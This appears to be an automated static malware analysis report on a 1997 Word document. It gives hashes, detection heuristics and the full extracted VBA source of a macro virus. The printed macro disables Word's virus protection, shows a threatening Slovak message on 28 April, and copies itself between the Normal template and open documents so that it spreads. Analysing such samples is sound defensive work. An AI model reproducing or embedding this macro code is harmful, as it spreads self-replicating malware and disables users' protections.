Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8c5f33f6df4a04d…

MALICIOUS

Office (OLE)

26.5 KB Created: 1997-01-29 21:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5926d4635a800106d75f6099eeee335b SHA-1: adf0c97fa20c28f831340329007f8b18974cdb5c SHA-256: f8c5f33f6df4a04d88fa96a6d36abab10bcc98c8482597674e7531bb11b76920
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable virus protection by setting 'Options.VirusProtection = False'. It also displays a warning message to the user, which could be a social engineering tactic or a distraction. The macro attempts to copy itself to the Normal template and the active document, potentially for persistence or propagation.

Heuristics 3

  • ClamAV: Heuristics.Macro.DisableVirusProtection-6136181-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.Macro.DisableVirusProtection-6136181-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1212 bytes
SHA-256: c5f8587311e179265736f2940ff75abb2211dcb7f48a0d811adafb69f3d93f28
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
Options.VirusProtection = False
If InStr(Date, "28.4.") <> 0 Then
MsgBox "Nazdar!" + Chr(10) + Chr(13) + _
"Ja som virus WORDO a ked sa mi bude chciet" _
+ ", tak znicim vsetky data v tomto " _
+ "pocitaci.", vbOKOnly + vbExclamation, _
"VIRUS"
End If
If NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines = 0 Then GoTo 1
If ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines <> 0 Then Exit Sub
pr = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines - 1
z = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, pr)
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString (z)
ActiveDocument.Save
Exit Sub
1
pr = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1
z = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, pr)
NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString (z)
NormalTemplate.Save
End Sub

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